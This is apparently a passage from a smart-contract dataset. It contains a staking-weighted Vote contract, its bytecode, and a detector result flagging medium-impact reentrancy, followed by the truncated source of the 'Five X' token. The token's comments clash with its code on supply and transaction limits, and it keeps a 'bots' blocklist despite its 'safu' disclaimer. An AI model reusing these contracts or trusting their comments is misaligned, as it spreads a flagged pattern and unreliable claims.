errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface PolvenStakingStructs { struct Stake { uint256 amount; uint256 normalizedAmount; } struct StakeTimeframe { uint256 amount; uint256 normalizedAmount; uint256 lastStakeTime; } } interface PolvenStaking is PolvenStakingStructs { function userStakes(address) external returns(Stake memory); function userStakesTimeframe(address) external returns(StakeTimeframe memory); } contract Vote is Ownable, PolvenStakingStructs { using SafeMath for uint256; uint256 counter; enum Choice { YES, NO, ABSTAINED } enum AdminStatus { OPEN, CLOSED } enum ProposalStatus { OPEN, CLOSED } event CreateVote(uint256 expirationDate, string title, string description); event Voting (Choice _choice, address voter, uint256 count, uint256 counter); event CloseProposal(uint256 counter); struct Voter { uint256 count; Choice choice; } struct Proposal { uint256 expirationDate; string title; string description; AdminStatus adminStatus; // or use separate mapping uint256 yes; uint256 no; uint256 abstained; } mapping(uint256 => Proposal) public proposals; mapping(uint256 => mapping(address => Voter) ) public votes; mapping(uint256 => address[]) public voters; PolvenStaking public staking; constructor(address _staking) public { counter = 0; staking = PolvenStaking(_staking); } function create(uint256 expirationDate, string memory title, string memory description) external onlyOwner { require(expirationDate > block.timestamp, "Incorrect expiration date"); if(counter > 0) { require(getProposalStatus(counter) == ProposalStatus.CLOSED, "The previous vote is not over yet"); } counter++; proposals[counter].expirationDate = expirationDate; proposals[counter].title = title; proposals[counter].description = description; proposals[counter].adminStatus = AdminStatus.OPEN; proposals[counter].yes = 0; proposals[counter].no = 0; proposals[counter].abstained = 0; emit CreateVote(expirationDate, title, description); } function closeLastProposal() external onlyOwner { proposals[counter].adminStatus = AdminStatus.CLOSED; emit CloseProposal(counter); } function voting(Choice _choice) external { require(getProposalStatus(counter) == ProposalStatus.OPEN, "Voting closed"); require(isVoted(msg.sender) == false, "Account has already been voted"); Stake memory userStakes = staking.userStakes(msg.sender); StakeTimeframe memory userStakesTimeframe = staking.userStakesTimeframe(msg.sender); uint256 sum = userStakes.amount + userStakesTimeframe.amount; require(sum > 0, "You have no staked tokens"); require(counter > 0, "Proposal has not been created yet"); votes[counter][msg.sender].count = sum; votes[counter][msg.sender].choice = _choice; Proposal memory _proposal = proposals[counter]; if(_choice == Choice.YES) { proposals[counter].yes = _proposal.yes.add(sum); }else if(_choice == Choice.NO) { proposals[counter].no = _proposal.no.add(sum); } else { proposals[counter].abstained = _proposal.abstained.add(sum); } voters[counter].push(msg.sender); emit Voting (_choice, msg.sender, sum, counter); } function getCounter() public view returns (uint256) { return counter; } function getLastProposal() public view returns(uint256, string memory, string memory, uint256, uint256, uint256, ProposalStatus) { return getItem(counter); } function getProposal(uint256 index) public view returns(uint256, string memory, string memory, uint256, uint256, uint256, ProposalStatus) { require(index > 0, "Index must be greater than 0"); require(index <= counter, "Index must be less than or equal to counter"); return getItem(index); } function isVoted(address voter) public view returns (bool) { return votes[counter][voter].count != 0; } function getVoteForLastProposal() public view returns (uint256, Choice) { return getVote(counter, msg.sender); } function getVote(uint256 index, address voter) public view returns (uint256, Choice) { return (votes[index][voter].count, votes[index][voter].choice); } function getVotersForLastProposal() public view returns (address [] memory) { return getVoters(counter); } function getVoters(uint256 index) public view returns (address [] memory) { return voters[index]; } function getItem(uint256 index) private view returns(uint256, string memory, string memory, uint256, uint256, uint256, ProposalStatus) { return (proposals[index].expirationDate, proposals[index].title, proposals[index].description, proposals[index].yes, proposals[index].no, proposals[index].abstained, getProposalStatus(index)); } function getProposalStatus(uint256 index) private view returns(ProposalStatus) { if(proposals[index].adminStatus == AdminStatus.CLOSED) { return ProposalStatus.CLOSED; } if(proposals[index].expirationDate <= block.timestamp) { return ProposalStatus.CLOSED; } return ProposalStatus.OPEN; } }
0x608060405234801561001057600080fd5b50600436106101165760003560e01c80638da5cb5b116100a2578063ccc20c3811610071578063ccc20c38146102f1578063d23254b4146102fb578063f0ab3dd91461032c578063f2fde38b14610350578063fba00cbd1461036c57610116565b80638da5cb5b1461023c578063bc3f931f1461025a578063c7f758a81461028b578063cbff75cb146102c157610116565b80634cf088d9116100e95780634cf088d9146101aa5780635a4463a8146101c8578063715018a6146101e457806386b646f2146101ee5780638ada066e1461021e57610116565b8063013cf08b1461011b578063038ce0c2146101515780630f3753a01461016f5780633466fe651461018b575b600080fd5b61013560048036038101906101309190611d35565b61039c565b6040516101489796959493929190612575565b60405180910390f35b6101596104fb565b60405161016691906122ef565b60405180910390f35b61018960048036038101906101849190611cba565b61050d565b005b610193610d61565b6040516101a1929190612507565b60405180910390f35b6101b2610d78565b6040516101bf919061232c565b60405180910390f35b6101e260048036038101906101dd9190611d9a565b610d9e565b005b6101ec6110b4565b005b61020860048036038101906102039190611d35565b61113c565b60405161021591906122ef565b60405180910390f35b6102266111dd565b60405161023391906124ec565b60405180910390f35b6102446111e7565b60405161025191906122d4565b60405180910390f35b610274600480360381019061026f9190611d5e565b611210565b604051610282929190612507565b60405180910390f35b6102a560048036038101906102a09190611d35565b6112d3565b6040516102b897969594939291906125f2565b60405180910390f35b6102db60048036038101906102d69190611c91565b611388565b6040516102e89190612311565b60405180910390f35b6102f96113ea565b005b61031560048036038101906103109190611d5e565b611508565b604051610323929190612507565b60405180910390f35b610334611546565b60405161034797969594939291906125f2565b60405180910390f35b61036a60048036038101906103659190611c91565b611573565b005b61038660048036038101906103819190611e19565b61166b565b60405161039391906122d4565b60405180910390f35b60026020528060005260406000206000915090508060000154908060010180546103c590612898565b80601f01602080910402602001604051908101604052809291908181526020018280546103f190612898565b801561043e5780601f106104135761010080835404028352916020019161043e565b820191906000526020600020905b81548152906001019060200180831161042157829003601f168201915b50505050509080600201805461045390612898565b80601f016020809104026020016040519081016040528092919081815260200182805461047f90612898565b80156104cc5780601f106104a1576101008083540402835291602001916104cc565b820191906000526020600020905b8154815290600101906020018083116104af57829003601f168201915b5050505050908060030160009054906101000a900460ff16908060040154908060050154908060060154905087565b606061050860015461113c565b905090565b60006001811115610547577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b6105526001546116b9565b600181111561058a577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b146105ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c1906123ec565b60405180910390fd5b600015156105d733611388565b151514610619576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610610906123cc565b60405180910390fd5b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638da7ad23336040518263ffffffff1660e01b815260040161067691906122d4565b6040805180830381600087803b15801561068f57600080fd5b505af11580156106a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106c79190611d0c565b90506000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e95efda0336040518263ffffffff1660e01b815260040161072691906122d4565b606060405180830381600087803b15801561074057600080fd5b505af1158015610754573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107789190611ce3565b90506000816000015183600001516107909190612725565b9050600081116107d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cc906124cc565b60405180910390fd5b60006001541161081a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108119061248c565b60405180910390fd5b8060036000600154815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055508360036000600154815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160006101000a81548160ff02191690836002811115610912577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b021790555060006002600060015481526020019081526020016000206040518060e00160405290816000820154815260200160018201805461095390612898565b80601f016020809104026020016040519081016040528092919081815260200182805461097f90612898565b80156109cc5780601f106109a1576101008083540402835291602001916109cc565b820191906000526020600020905b8154815290600101906020018083116109af57829003601f168201915b505050505081526020016002820180546109e590612898565b80601f0160208091040260200160405190810160405280929190818152602001828054610a1190612898565b8015610a5e5780601f10610a3357610100808354040283529160200191610a5e565b820191906000526020600020905b815481529060010190602001808311610a4157829003601f168201915b505050505081526020016003820160009054906101000a900460ff166001811115610ab2577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b6001811115610aea577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b81526020016004820154815260200160058201548152602001600682015481525050905060006002811115610b48577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b856002811115610b81577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b1415610bbf57610b9e82826080015161178f90919063ffffffff16565b60026000600154815260200190815260200160002060040181905550610ca5565b60016002811115610bf9577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b856002811115610c32577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b1415610c7057610c4f828260a0015161178f90919063ffffffff16565b60026000600154815260200190815260200160002060050181905550610ca4565b610c87828260c0015161178f90919063ffffffff16565b600260006001548152602001908152602001600020600601819055505b5b600460006001548152602001908152602001600020339080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fa67ebf732e6b82d7282dd72706d53db5bb991bcdce4132bf294ff0d352edc238853384600154604051610d529493929190612347565b60405180910390a15050505050565b600080610d7060015433611210565b915091509091565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610da66117ed565b73ffffffffffffffffffffffffffffffffffffffff16610dc46111e7565b73ffffffffffffffffffffffffffffffffffffffff1614610e1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e119061240c565b60405180910390fd5b428311610e5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e539061242c565b60405180910390fd5b60006001541115610f2457600180811115610ea0577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b610eab6001546116b9565b6001811115610ee3577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b14610f23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1a9061244c565b60405180910390fd5b5b60016000815480929190610f37906128ca565b91905055508260026000600154815260200190815260200160002060000181905550816002600060015481526020019081526020016000206001019080519060200190610f85929190611a86565b50806002600060015481526020019081526020016000206002019080519060200190610fb2929190611a86565b50600060026000600154815260200190815260200160002060030160006101000a81548160ff02191690836001811115611015577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b02179055506000600260006001548152602001908152602001600020600401819055506000600260006001548152602001908152602001600020600501819055506000600260006001548152602001908152602001600020600601819055507f3560d91321b47c31d5083b3fc5e4af4e515b7eb51887935b4af553b3cf95fb458383836040516110a793929190612530565b60405180910390a1505050565b6110bc6117ed565b73ffffffffffffffffffffffffffffffffffffffff166110da6111e7565b73ffffffffffffffffffffffffffffffffffffffff1614611130576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111279061240c565b60405180910390fd5b61113a60006117f5565b565b6060600460008381526020019081526020016000208054806020026020016040519081016040528092919081815260200182805480156111d157602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611187575b50505050509050919050565b6000600154905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000806003600085815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001546003600086815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900460ff16915091509250929050565b600060608060008060008060008811611321576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611318906124ac565b60405180910390fd5b600154881115611366576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135d9061246c565b60405180910390fd5b61136f886118b9565b9650965096509650965096509650919395979092949650565b60008060036000600154815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015414159050919050565b6113f26117ed565b73ffffffffffffffffffffffffffffffffffffffff166114106111e7565b73ffffffffffffffffffffffffffffffffffffffff1614611466576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145d9061240c565b60405180910390fd5b600160026000600154815260200190815260200160002060030160006101000a81548160ff021916908360018111156114c8577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b02179055507fc03fce955f919ac51b60c8d04652b921fdab1c880d2752d066c97c5023994a286001546040516114fe91906124ec565b60405180910390a1565b6003602052816000526040600020602052806000526040600020600091509150508060000154908060010160009054906101000a900460ff16905082565b600060608060008060008061155c6001546118b9565b965096509650965096509650965090919293949596565b61157b6117ed565b73ffffffffffffffffffffffffffffffffffffffff166115996111e7565b73ffffffffffffffffffffffffffffffffffffffff16146115ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e69061240c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561165f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116569061238c565b60405180910390fd5b611668816117f5565b50565b6004602052816000526040600020818154811061168757600080fd5b906000526020600020016000915091509054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006001808111156116f4577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b6002600084815260200190815260200160002060030160009054906101000a900460ff166001811115611750577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b141561175f576001905061178a565b42600260008481526020019081526020016000206000015411611785576001905061178a565b600090505b919050565b600080828461179e9190612725565b9050838110156117e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117da906123ac565b60405180910390fd5b8091505092915050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006060806000806000806002600089815260200190815260200160002060000154600260008a8152602001908152602001600020600101600260008b8152602001908152602001600020600201600260008c815260200190815260200160002060040154600260008d815260200190815260200160002060050154600260008e8152602001908152602001600020600601546119558e6116b9565b85805461196190612898565b80601f016020809104026020016040519081016040528092919081815260200182805461198d90612898565b80156119da5780601f106119af576101008083540402835291602001916119da565b820191906000526020600020905b8154815290600101906020018083116119bd57829003601f168201915b505050505095508480546119ed90612898565b80601f0160208091040260200160405190810160405280929190818152602001828054611a1990612898565b8015611a665780601f10611a3b57610100808354040283529160200191611a66565b820191906000526020600020905b815481529060010190602001808311611a4957829003601f168201915b505050505094509650965096509650965096509650919395979092949650565b828054611a9290612898565b90600052602060002090601f016020900481019282611ab45760008555611afb565b82601f10611acd57805160ff1916838001178555611afb565b82800160010185558215611afb579182015b82811115611afa578251825591602001919060010190611adf565b5b509050611b089190611b0c565b5090565b5b80821115611b25576000816000905550600101611b0d565b5090565b6000611b3c611b37846126a0565b61266f565b905082815260208101848484011115611b5457600080fd5b611b5f848285612856565b509392505050565b600081359050611b7681612a1c565b92915050565b600081359050611b8b81612a33565b92915050565b600082601f830112611ba257600080fd5b8135611bb2848260208601611b29565b91505092915050565b600060608284031215611bcd57600080fd5b611bd7606061266f565b90506000611be784828501611c7c565b6000830152506020611bfb84828501611c7c565b6020830152506040611c0f84828501611c7c565b60408301525092915050565b600060408284031215611c2d57600080fd5b611c37604061266f565b90506000611c4784828501611c7c565b6000830152506020611c5b84828501611c7c565b60208301525092915050565b600081359050611c7681612a43565b92915050565b600081519050611c8b81612a43565b92915050565b600060208284031215611ca357600080fd5b6000611cb184828501611b67565b91505092915050565b600060208284031215611ccc57600080fd5b6000611cda84828501611b7c565b91505092915050565b600060608284031215611cf557600080fd5b6000611d0384828501611bbb565b91505092915050565b600060408284031215611d1e57600080fd5b6000611d2c84828501611c1b565b91505092915050565b600060208284031215611d4757600080fd5b6000611d5584828501611c67565b91505092915050565b60008060408385031215611d7157600080fd5b6000611d7f85828601611c67565b9250506020611d9085828601611b67565b9150509250929050565b600080600060608486031215611daf57600080fd5b6000611dbd86828701611c67565b935050602084013567ffffffffffffffff811115611dda57600080fd5b611de686828701611b91565b925050604084013567ffffffffffffffff811115611e0357600080fd5b611e0f86828701611b91565b9150509250925092565b60008060408385031215611e2c57600080fd5b6000611e3a85828601611c67565b9250506020611e4b85828601611c67565b9150509250929050565b6000611e618383611e6d565b60208301905092915050565b611e768161277b565b82525050565b611e858161277b565b82525050565b6000611e96826126e0565b611ea08185612703565b9350611eab836126d0565b8060005b83811015611edc578151611ec38882611e55565b9750611ece836126f6565b925050600181019050611eaf565b5085935050505092915050565b611ef28161278d565b82525050565b611f01816127fc565b82525050565b611f1081612820565b82525050565b611f1f81612832565b82525050565b611f2e81612844565b82525050565b6000611f3f826126eb565b611f498185612714565b9350611f59818560208601612865565b611f62816129cf565b840191505092915050565b6000611f7a602683612714565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611fe0601b83612714565b91507f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006000830152602082019050919050565b6000612020601e83612714565b91507f4163636f756e742068617320616c7265616479206265656e20766f74656400006000830152602082019050919050565b6000612060600d83612714565b91507f566f74696e6720636c6f736564000000000000000000000000000000000000006000830152602082019050919050565b60006120a0602083612714565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b60006120e0601983612714565b91507f496e636f72726563742065787069726174696f6e2064617465000000000000006000830152602082019050919050565b6000612120602183612714565b91507f5468652070726576696f757320766f7465206973206e6f74206f76657220796560008301527f74000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612186602b83612714565b91507f496e646578206d757374206265206c657373207468616e206f7220657175616c60008301527f20746f20636f756e7465720000000000000000000000000000000000000000006020830152604082019050919050565b60006121ec602183612714565b91507f50726f706f73616c20686173206e6f74206265656e206372656174656420796560008301527f74000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612252601c83612714565b91507f496e646578206d7573742062652067726561746572207468616e2030000000006000830152602082019050919050565b6000612292601983612714565b91507f596f752068617665206e6f207374616b656420746f6b656e73000000000000006000830152602082019050919050565b6122ce816127f2565b82525050565b60006020820190506122e96000830184611e7c565b92915050565b600060208201905081810360008301526123098184611e8b565b905092915050565b60006020820190506123266000830184611ee9565b92915050565b60006020820190506123416000830184611ef8565b92915050565b600060808201905061235c6000830187611f16565b6123696020830186611e7c565b61237660408301856122c5565b61238360608301846122c5565b95945050505050565b600060208201905081810360008301526123a581611f6d565b9050919050565b600060208201905081810360008301526123c581611fd3565b9050919050565b600060208201905081810360008301526123e581612013565b9050919050565b6000602082019050818103600083015261240581612053565b9050919050565b6000602082019050818103600083015261242581612093565b9050919050565b60006020820190508181036000830152612445816120d3565b9050919050565b6000602082019050818103600083015261246581612113565b9050919050565b6000602082019050818103600083015261248581612179565b9050919050565b600060208201905081810360008301526124a5816121df565b9050919050565b600060208201905081810360008301526124c581612245565b9050919050565b600060208201905081810360008301526124e581612285565b9050919050565b600060208201905061250160008301846122c5565b92915050565b600060408201905061251c60008301856122c5565b6125296020830184611f16565b9392505050565b600060608201905061254560008301866122c5565b81810360208301526125578185611f34565b9050818103604083015261256b8184611f34565b9050949350505050565b600060e08201905061258a600083018a6122c5565b818103602083015261259c8189611f34565b905081810360408301526125b08188611f34565b90506125bf6060830187611f07565b6125cc60808301866122c5565b6125d960a08301856122c5565b6125e660c08301846122c5565b98975050505050505050565b600060e082019050612607600083018a6122c5565b81810360208301526126198189611f34565b9050818103604083015261262d8188611f34565b905061263c60608301876122c5565b61264960808301866122c5565b61265660a08301856122c5565b61266360c0830184611f25565b98975050505050505050565b6000604051905081810181811067ffffffffffffffff82111715612696576126956129a0565b5b8060405250919050565b600067ffffffffffffffff8211156126bb576126ba6129a0565b5b601f19601f8301169050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612730826127f2565b915061273b836127f2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156127705761276f612913565b5b828201905092915050565b6000612786826127d2565b9050919050565b60008115159050919050565b60008190506127a7826129e0565b919050565b60008190506127ba826129f4565b919050565b60008190506127cd82612a08565b919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006128078261280e565b9050919050565b6000612819826127d2565b9050919050565b600061282b82612799565b9050919050565b600061283d826127ac565b9050919050565b600061284f826127bf565b9050919050565b82818337600083830152505050565b60005b83811015612883578082015181840152602081019050612868565b83811115612892576000848401525b50505050565b600060028204905060018216806128b057607f821691505b602082108114156128c4576128c3612971565b5b50919050565b60006128d5826127f2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561290857612907612913565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b600281106129f1576129f0612942565b5b50565b60038110612a0557612a04612942565b5b50565b60028110612a1957612a18612942565b5b50565b612a258161277b565b8114612a3057600080fd5b50565b60038110612a4057600080fd5b50565b612a4c816127f2565b8114612a5757600080fd5b5056fea264697066735822122055f66ff7ee4eecbe3a3a9a7d8d5a721efbda96e2190d26ef5a305ad7b05d5d6564736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
1,266
0x6da6df69f970d0fa88c5bb207eda57abee6abf07
/** *Submitted for verification at Etherscan.io on 2021-11-14 */ /** t.me/fiveXtoken5 www.5xtoken.net Total Tokens: 10 Million Max Wallet: 5% Max transaction: 1% Buys: 10% Sells 15% */ /** The contracts crafted by Ultraman Contracts are not liable for the actions of the acting dev (client), * but can attest to the fact the contract created is safu as the following is true: * There is not a pause contract button. * You cannot disable sells. * If the dev chooses to renounce, there is no backdoor. * Sell taxes cannot be raised higher than a designated percent written into the contract and noted as such. * All info pertaining to the contract will be listed above the disclaimer message. * For further inquiry contact t.me/UltramanContracts */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract FiveX is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Five X"; string private constant _symbol = "5X"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _distroFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 10; //Sell Fee uint256 private _distroFeeOnSell = 0; uint256 private _taxFeeOnSell = 15; //Original Fee uint256 private _distroFee = _distroFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousDistroFee = _distroFee; uint256 private _previousTaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _marketingAddress = payable(0x960977C0b468A56e8162C3De4E104648BF0C5Cc9); address payable private _devAddress = payable(0x79C426C4D143b61237614086bE7CB5726055790E); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000 * 10**9; //1% of total supply per txn uint256 public _maxWalletSize = 50000000 * 10**9; //5% of total supply uint256 public _swapTokensAtAmount = 100000 * 10**9; //0.1% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[_devAddress] = true; bots[address(0x00000000000000000000000000000000001)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_distroFee == 0 && _taxFee == 0) return; _previousDistroFee = _distroFee; _previousTaxFee = _taxFee; _distroFee = 0; _taxFee = 0; } function restoreAllFee() private { _distroFee = _previousDistroFee; _taxFee = _previousTaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is 